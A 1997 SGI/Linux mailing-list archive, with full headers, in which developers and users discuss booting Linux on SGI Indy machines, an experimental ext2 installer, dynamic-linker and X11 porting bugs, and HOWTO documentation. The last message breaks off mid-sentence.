From owner-linux@cthulhu.engr.sgi.com Mon Nov 3 02:33:02 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id CAA84050 for ; Mon, 3 Nov 1997 02:33:02 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id CAA19780 for linux-list; Mon, 3 Nov 1997 02:30:30 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id CAA19775 for ; Mon, 3 Nov 1997 02:30:28 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id CAA26990 for ; Mon, 3 Nov 1997 02:30:26 -0800 env-from (ralf@informatik.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.7/8.6.9) with SMTP id LAA27026 for ; Mon, 3 Nov 1997 11:30:24 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id LAA13257; Mon, 3 Nov 1997 11:30:23 +0100 Message-ID: <19971103113022.29017@thoma.uni-koblenz.de> Date: Mon, 3 Nov 1997 11:30:22 +0100 From: Ralf Baechle To: linux@cthulhu.engr.sgi.com Subject: howtos.html Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 151 Lines: 4 I fixed the description how to install the crosscompiler. The old description was incomplete and wrong. It's still not foolproof, though ... Ralf From owner-linux@cthulhu.engr.sgi.com Thu Nov 6 10:09:02 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA540684 for ; Thu, 6 Nov 1997 10:09:02 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA13652 for linux-list; Thu, 6 Nov 1997 10:05:26 -0800 Received: from netghost.engr.sgi.com (netghost.engr.sgi.com [150.166.142.29]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA13647 for ; Thu, 6 Nov 1997 10:05:24 -0800 Received: (from michaelk@localhost) by netghost.engr.sgi.com (970321.SGI.8.8.5/970502.SGI.AUTOCF) id KAA04553 for linux@engr; Thu, 6 Nov 1997 10:05:24 -0800 (PST) From: "Michael Kaye" Message-Id: <9711061005.ZM4557@netghost.engr.sgi.com> Date: Thu, 6 Nov 1997 10:05:23 -0800 X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) To: linux@cthulhu.engr.sgi.com Subject: Fix your bootloader Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 426 Lines: 9 I am installing linux on an indy for the first time. I was following the instructions on http://www.linux.sgi.com/faq.html when I noticed the instructions where not complete. It talks about "Fixing your bootloader". I assume it is talking about NVRAM and the PROM Monitor, but I can not find anything in the man pages. I found bootfile, bootmode and boottune, but no bootloader. Any ideas what to do at this point? -- From owner-linux@cthulhu.engr.sgi.com Sat Nov 8 17:16:37 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA111376 for ; Sat, 8 Nov 1997 17:16:37 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA00829 for linux-list; Sat, 8 Nov 1997 17:15:17 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA00821; Sat, 8 Nov 1997 17:15:10 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA29504; Sat, 8 Nov 1997 17:15:09 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (centre.swanlink.ukuu.org.uk [137.44.10.205]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id BAA25182; Sun, 9 Nov 1997 01:14:54 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xUL0I-0005GQC; Sun, 9 Nov 97 00:13 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Fix your bootloader To: michaelk@netghost.engr.sgi.com (Michael Kaye) Date: Sun, 9 Nov 1997 00:13:26 +0000 (GMT) Cc: linux@cthulhu.engr.sgi.com In-Reply-To: <9711061005.ZM4557@netghost.engr.sgi.com> from "Michael Kaye" at Nov 6, 97 10:05:23 am Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 632 Lines: 15 > I am installing linux on an indy for the first time. I was following the > instructions on http://www.linux.sgi.com/faq.html when I noticed the > instructions where not complete. It talks about "Fixing your bootloader". I > assume it is talking about NVRAM and the PROM Monitor, but I can not find > anything in the man pages. I found bootfile, bootmode and boottune, but no > bootloader. Any ideas what to do at this point? Turn the box on from cold, bang escape repeatedly as it boots until you get a screen with about 6 icons and a mouse pointer. Click on the command line one and do boot /vmlinux options-go-here Alan From owner-linux@cthulhu.engr.sgi.com Wed Nov 12 13:48:16 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA44760 for ; Wed, 12 Nov 1997 13:48:15 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA26703 for linux-list; Wed, 12 Nov 1997 13:43:22 -0800 Received: from odin.corp.sgi.com (fddi-odin.corp.sgi.com [198.29.75.194]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA26689 for ; Wed, 12 Nov 1997 13:43:21 -0800 Received: from oz.engr.sgi.com by odin.corp.sgi.com via ESMTP (951211.SGI.8.6.12.PATCH1502/951211.SGI) id NAA08363; Wed, 12 Nov 1997 13:31:59 -0800 Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id NAA21427; Wed, 12 Nov 1997 13:31:43 -0800 (PST) From: ariel@oz.engr.sgi.com (Ariel Faigon) Message-Id: <199711122131.NAA21427@oz.engr.sgi.com> Subject: Re: SGI / Linux To: paulp@netco.com (Paul Prawdiuk) Date: Wed, 12 Nov 1997 13:31:42 -0800 (PST) Cc: linux@cthulhu.engr.sgi.com (SGI/Linux mailing list) In-Reply-To: from "Paul Prawdiuk" at Nov 12, 97 02:54:35 pm Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon) Organization: Silicon Graphics Inc. X-Mailer: ELM [version 2.4 PL24 ME5a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 2400 Lines: 86 Paul, [Ccing the Linux mailing list] Thanks for offering to help. If you can get your hands on an experimental Indy and write a good HOWTO on how to get Linux running on it it'll be a long way to make what we have usable for many more people. In order to do that you should: 1) Subscribe to our mailing list: To: majordomo@engr.sgi.com Body: subscribe linux username@your.domain 2) Grep the archive for multiple relevant postings http://reality.sgi.com/ariel/linux.gz There are two ways to boot: 1) Remotely (bootp) all filesystem remote (relatively easy, but slow) 2) Create local efs or e2fs filesystems and boot from local disk. This is preferred but currently requires some bootstrapping complex steps (and completing the efs linux support by Mike Shaver) 1) Is partly (and possibly inaccurately) documented 2) Is black art, never documented Ideally we would like to tell people: "To boot Linux on your Indy all you need is a spare SCSI disk (so you can keep all your IRIX stuff) and here's the HOWTO" In short a dual boot system (IRIX/Linux) that is easy to setup. www.linux.sgi.com still doesn't have a really easy HOWTO on how to get there. Lastly: if your organization is a big SGI customer and is in interested in seeing Linux work, we'll be happy to hear more details (e.g why?). -- Peace, Ariel : :*Documentation: complete and easy to understand SGI/Linux HOWTOs :*A lot more userland porting - get to a bona-fide Red Hat like :distribution. : :* Tell a little about yourself, your expertise, and projects you've worked :on in the past. : :Paul Prawdiuk / Network Engineer. I work on networks on a large scale. :Projects have all been network related. : :* What would you like to work on? :I am sure I could work on documentation for this project. :I might also be able to port a few applications. I am not a programmer by :trade but do have some programming skills. : :* How much time can you invest in it (per day/week)? :Not sure, it is to be determined. : :* How long do you think it would take you to complete? :See above. : :* What help would you need from us :Not much. My company uses a ton of SGI stuff including lots of O2 and Indy :machines. : :* notes :I should be able to get an Indy to work on. :I would really love to see this for O2 boxes. : :PS. Is their plans for the new portable file system? : -- Peace, Ariel From owner-linux@cthulhu.engr.sgi.com Wed Nov 12 14:29:18 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA49340 for ; Wed, 12 Nov 1997 14:29:18 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA12964 for linux-list; Wed, 12 Nov 1997 14:26:17 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA12877; Wed, 12 Nov 1997 14:26:10 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA07458; Wed, 12 Nov 1997 14:26:08 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id WAA23702; Wed, 12 Nov 1997 22:26:02 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xVlI4-0005FtC; Wed, 12 Nov 97 22:29 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: SGI / Linux To: ariel@cthulhu.engr.sgi.com Date: Wed, 12 Nov 1997 22:29:40 +0000 (GMT) Cc: paulp@netco.com, linux@cthulhu.engr.sgi.com In-Reply-To: <199711122131.NAA21427@oz.engr.sgi.com> from "Ariel Faigon" at Nov 12, 97 01:31:42 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 810 Lines: 24 > 1) Remotely (bootp) all filesystem remote > (relatively easy, but slow) > > 2) Create local efs or e2fs filesystems and boot > from local disk. This is preferred but currently > requires some bootstrapping complex steps > (and completing the efs linux support by Mike Shaver) 3) Alan's semi-mythical and slightly buggy ext2installer tool This is the one that should ideally get documented - and debugged 8) I'll put some bits up soon, but because the tools have to work with file definitions different to the host OS, its a horrible horrible hack. On other points anyone currently working on merging to 2.1.63, and the status on the dynamic link bugs and X11 - Any chance of a serverless XFree86 build set for the SGI yet - that'll let me build most of the remaining RPMs Alan From owner-linux@cthulhu.engr.sgi.com Wed Nov 12 15:03:47 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA52150 for ; Wed, 12 Nov 1997 15:03:46 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA27584 for linux-list; Wed, 12 Nov 1997 15:00:14 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA27416; Wed, 12 Nov 1997 15:00:06 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA18001; Wed, 12 Nov 1997 14:59:58 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id RAA17458; Wed, 12 Nov 1997 17:59:27 -0500 Date: Wed, 12 Nov 1997 17:59:27 -0500 (EST) From: Alex deVries To: Alan Cox cc: ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com Subject: Re: SGI / Linux In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 170 Lines: 9 On Wed, 12 Nov 1997, Alan Cox wrote: > > 3) Alan's semi-mythical and slightly buggy ext2installer tool Where can I get a copy of the semi-real portion of this? - A From owner-linux@cthulhu.engr.sgi.com Wed Nov 12 15:25:35 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA54024 for ; Wed, 12 Nov 1997 15:25:35 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA06534 for linux-list; Wed, 12 Nov 1997 15:22:43 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA06520; Wed, 12 Nov 1997 15:22:41 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA25519; Wed, 12 Nov 1997 15:22:37 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA24751; Wed, 12 Nov 1997 23:22:23 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xVmAd-0005FsC; Wed, 12 Nov 97 23:26 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: SGI / Linux To: adevries@engsoc.carleton.ca (Alex deVries) Date: Wed, 12 Nov 1997 23:26:02 +0000 (GMT) Cc: alan@lxorguk.ukuu.org.uk, ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com In-Reply-To: from "Alex deVries" at Nov 12, 97 05:59:27 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 260 Lines: 8 > > 3) Alan's semi-mythical and slightly buggy ext2installer tool > Where can I get a copy of the semi-real portion of this? I'll put one up tomorrow so long as everyone promises not to be rude about the code. Its based on the Mac68K linux installer. Alan From owner-linux@cthulhu.engr.sgi.com Wed Nov 12 15:37:40 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA58724 for ; Wed, 12 Nov 1997 15:37:39 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA11181 for linux-list; Wed, 12 Nov 1997 15:34:43 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA11157 for ; Wed, 12 Nov 1997 15:34:37 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA29023 for ; Wed, 12 Nov 1997 15:34:35 -0800 env-from (ralf@hotel.uni-koblenz.de) From: ralf@hotel.uni-koblenz.de Received: from hotel.uni-koblenz.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3]) by informatik.uni-koblenz.de (8.8.7/8.6.9) with ESMTP id AAA04969; Thu, 13 Nov 1997 00:34:04 +0100 (MET) Received: (from ralf@localhost) by hotel.uni-koblenz.de (8.8.7/8.8.7) id AAA12363; Thu, 13 Nov 1997 00:31:04 +0100 Message-ID: <19971113003104.35826@hotel.uni-koblenz.de> Date: Thu, 13 Nov 1997 00:31:04 +0100 To: Alan Cox , linux@cthulhu.engr.sgi.com Subject: Re: SGI / Linux References: <199711122131.NAA21427@oz.engr.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alan Cox on Wed, Nov 12, 1997 at 10:29:40PM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 767 Lines: 16 On Wed, Nov 12, 1997 at 10:29:40PM +0000, Alan Cox wrote: > On other points anyone currently working on merging to 2.1.63, and the > status on the dynamic link bugs and X11 - Any chance of a serverless > XFree86 build set for the SGI yet - that'll let me build most of the > remaining RPMs Miguel has done some work on X. The problem with X is that the dynamic linker as currently in the CVS on Linus won't work with X. There are a couple more of features in the dynamic linker that want to be fixed; I have a kind of semifixes for them. I'm going to merge things upto 2.1.63 when I've fixed some other things. During the semester holidays I fixed a large number of bugs in the MIPS code but broke support for another machine, my favorite testing box ... Ralf From owner-linux@cthulhu.engr.sgi.com Thu Nov 13 14:44:36 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA398914 for ; Thu, 13 Nov 1997 14:44:35 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA11777 for linux-list; Thu, 13 Nov 1997 14:42:55 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA11673; Thu, 13 Nov 1997 14:42:34 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA01678; Thu, 13 Nov 1997 14:42:27 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id RAA02545; Thu, 13 Nov 1997 17:41:40 -0500 Date: Thu, 13 Nov 1997 17:41:40 -0500 (EST) From: Alex deVries To: Alan Cox cc: ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com Subject: Re: SGI / Linux In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 453 Lines: 15 On Wed, 12 Nov 1997, Alan Cox wrote: > > > 3) Alan's semi-mythical and slightly buggy ext2installer tool > > Where can I get a copy of the semi-real portion of this? > I'll put one up tomorrow so long as everyone promises not to be rude about > the code. Its based on the Mac68K linux installer. We promise. Uh, how would this fit in with RPM? Would it be possible to run the Irix version of RPM to pre-load the packages on an ext2 disk? - Alex From owner-linux@cthulhu.engr.sgi.com Thu Nov 13 15:35:58 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA426453 for ; Thu, 13 Nov 1997 15:35:58 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA00207 for linux-list; Thu, 13 Nov 1997 15:33:16 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA00172; Thu, 13 Nov 1997 15:33:10 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA17037; Thu, 13 Nov 1997 15:33:08 -0800 env-from (ralf@hotel.uni-koblenz.de) Received: from hotel.uni-koblenz.de (ralf@pmport-17.uni-koblenz.de [141.26.249.17]) by informatik.uni-koblenz.de (8.8.8/8.8.7) with ESMTP id AAA25543; Fri, 14 Nov 1997 00:32:48 +0100 (MET) Received: (from ralf@localhost) by hotel.uni-koblenz.de (8.8.7/8.8.7) id AAA26848; Fri, 14 Nov 1997 00:29:35 +0100 Message-ID: <19971114002934.41028@hotel.uni-koblenz.de> Date: Fri, 14 Nov 1997 00:29:34 +0100 From: ralf@uni-koblenz.de To: Alex deVries Cc: Alan Cox , ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com Subject: Re: SGI / Linux References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alex deVries on Thu, Nov 13, 1997 at 05:41:40PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 278 Lines: 7 On Thu, Nov 13, 1997 at 05:41:40PM -0500, Alex deVries wrote: > Uh, how would this fit in with RPM? Would it be possible to run the Irix > version of RPM to pre-load the packages on an ext2 disk? Only with limitations as RPM may try to run Linux batches and programs. Ralf From owner-linux@cthulhu.engr.sgi.com Thu Nov 13 16:01:09 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA350382 for ; Thu, 13 Nov 1997 16:01:08 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA08450 for linux-list; Thu, 13 Nov 1997 15:59:15 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA08366; Thu, 13 Nov 1997 15:59:06 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA24482; Thu, 13 Nov 1997 15:59:04 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA20632; Thu, 13 Nov 1997 23:58:30 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xW9Dg-0005FsC; Fri, 14 Nov 97 00:02 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: SGI / Linux To: adevries@engsoc.carleton.ca (Alex deVries) Date: Fri, 14 Nov 1997 00:02:44 +0000 (GMT) Cc: alan@lxorguk.ukuu.org.uk, ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com In-Reply-To: from "Alex deVries" at Nov 13, 97 05:41:40 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 604 Lines: 21 > Uh, how would this fit in with RPM? Would it be possible to run the Irix > version of RPM to pre-load the packages on an ext2 disk? The cpio code Im using is actually from Erik's RPM 2.4.8. Conceptually there is no problem installing RPM's with it. However there are good reasons why not to - notably the libe2fs code doesnt not have the fragmentation evasion stuff the real ext2 does. No I see the install as a variant of that program so something like fdisk /dev/whatever mke2fs /dev/dsk/whatever mklinuxswap /dev/dsk/swapdisk installer load some basic cpio's boot linux - add the rpms. Alan From owner-linux@cthulhu.engr.sgi.com Thu Nov 13 16:01:26 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA426608 for ; Thu, 13 Nov 1997 16:01:26 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA08504 for linux-list; Thu, 13 Nov 1997 15:59:25 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA08390; Thu, 13 Nov 1997 15:59:08 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA24501; Thu, 13 Nov 1997 15:59:07 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA20636; Thu, 13 Nov 1997 23:58:54 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xW9E4-0005FsC; Fri, 14 Nov 97 00:03 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: SGI / Linux To: adevries@engsoc.carleton.ca (Alex deVries) Date: Fri, 14 Nov 1997 00:03:07 +0000 (GMT) Cc: alan@lxorguk.ukuu.org.uk, ariel@cthulhu.engr.sgi.com, paulp@netco.com, linux@cthulhu.engr.sgi.com In-Reply-To: from "Alex deVries" at Nov 13, 97 05:41:40 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 53 Lines: 4 > We promise. ftp://ftp.uk.linux.org/pub/linux/SGI From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 11:05:17 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id LAA469397 for ; Fri, 14 Nov 1997 11:05:17 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id LAA19427 for linux-list; Fri, 14 Nov 1997 11:00:34 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id LAA19388 for ; Fri, 14 Nov 1997 11:00:27 -0800 Received: from ns1.edunet.ru (ednet.Ftcenter.RU [194.154.82.122]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id LAA12416 for ; Fri, 14 Nov 1997 11:00:07 -0800 env-from (mur57@edunet.ru) Received: from localhost (mur57@localhost [127.0.0.1]) by ns1.edunet.ru (8.7.5/8.7.3) with SMTP id WAA18563; Fri, 14 Nov 1997 22:01:59 +0300 Date: Fri, 14 Nov 1997 22:01:58 +0300 (MSK) From: "Ilia M. Zubkov" To: linux-kernel@vger.rutgers.edu, linux@cthulhu.engr.sgi.com Subject: shaper and v2.0 kernel Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 205 Lines: 16 Is it possible to run shaper on a linux-2.0.x box? (not v2.1) How? Is there any documentation how to do it? Thanks in advance. Sincerely yours, Ilia Zubkov, Educational Network technical director From owner-linux@cthulhu.engr.sgi.com Fri Nov 14 12:23:11 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA496772 for ; Fri, 14 Nov 1997 12:23:11 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id MAA16079 for linux-list; Fri, 14 Nov 1997 12:16:55 -0800 Received: from tantrik.engr.sgi.com (tantrik.engr.sgi.com [192.26.72.25]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id MAA16067 for ; Fri, 14 Nov 1997 12:16:53 -0800 Received: from localhost (shm@localhost) by tantrik.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA10295 for ; Fri, 14 Nov 1997 12:16:52 -0800 (PST) Date: Fri, 14 Nov 1997 12:16:52 -0800 (PST) From: Shrijeet Mukherjee cc: linux@cthulhu.engr.sgi.com Subject: Re: SGI / Linux In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1113 Lines: 31 Hi all, I just wanted to make something certain, b4 I went and banged my head all the way, about linux ports for SGI h/w. I have recently acquired a 100Mhz R4K indigo .. would mips/linux work on this, as this is a r4k machine .. ( I would presume the kernel should work, while the device drivers may not ) .. if yes, is there something else I need to do to make that happen .. if not can I 